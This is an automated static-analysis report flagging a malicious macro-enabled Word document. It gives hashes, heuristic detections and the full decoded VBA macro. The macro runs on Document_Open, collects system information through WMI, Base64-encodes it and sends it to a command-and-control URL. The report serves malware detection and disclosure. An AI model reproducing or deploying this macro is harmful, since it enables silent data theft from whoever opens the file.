Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 6336c6617409c346…

MALICIOUS

Office (OOXML) / .DOCX

18.4 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-28
MD5: 25dc0a8b15d6771cad4f9d7ffb8e9f46 SHA-1: 05510e1dbd6102a0bbb5f19e65407744ae7493ea SHA-256: 6336c6617409c346b2913a6c7c47978f2e76051aee657e2329d288cb13601ae6
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set xY12b = CreateObject("WScript.Shell")
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        ' Create WScript.Shell object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xY12b = CreateObject("WScript.Shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set jK90l = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * from Win32_OperatingSystem").Item(0)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://c2server.com/callback Referenced by macro
    • https://uithcm-my.sharReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.microsoft.com/office/2019/extlstReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://uithcm-my.sharepoint.com/personal/23520498_ms_uit_edu_vn/Documents/Referenced by macro

Related samples 6

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1759 bytes
SHA-256: 7e41aa0a42b2006010c14b15f911ed43405f8d5297dbec2d8f97e304b370dca8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim xY12b As Object
    Dim aB34c As String
    Dim dE56f As String
    Dim gH78i As String
    Dim jK90l As Object
    Dim mN01o As String
    Dim pQ23r As String
    
    ' Set C2 server URL
    aB34c = "http://c2server.com/callback"
    
    ' Create WScript.Shell object
    Set xY12b = CreateObject("WScript.Shell")
    
    ' Gather system information using WMI
    Set jK90l = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * from Win32_OperatingSystem").Item(0)
    gH78i = "OS Version: " & jK90l.Version & vbCrLf
    gH78i = gH78i & "Computer Name: " & jK90l.CSName & vbCrLf
    
    ' Determine architecture
    If InStr(1, jK90l.OSArchitecture, "64-bit", vbTextCompare) > 0 Then
        mN01o = "64-bit"
    Else
        mN01o = "32-bit"
    End If
    gH78i = gH78i & "Architecture: " & mN01o & vbCrLf
    
    ' Base64 encode the system information
    dE56f = EncodeBase64(gH78i)
    
    ' Send the encoded data to the C2 server
    Dim sT45u As Object
    Set sT45u = CreateObject("MSXML2.XMLHTTP")
    sT45u.Open "GET", aB34c & "?data=" & dE56f, False
    sT45u.Send
End Sub

Function EncodeBase64(ByVal str As String) As String
    Dim vW67x As Object
    Dim yZ89a As Object
    Set vW67x = CreateObject("MSXML2.DOMDocument")
    Set yZ89a = vW67x.createElement("b64")
    yZ89a.DataType = "bin.base64"
    yZ89a.Text = str
    EncodeBase64 = yZ89a.Text
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: b1ad9ee74195910abe8d2e1565ccc83f663e71e2dc7911da3667548ceeb68473

Open this report in the interactive analyzer, or submit your own file for analysis.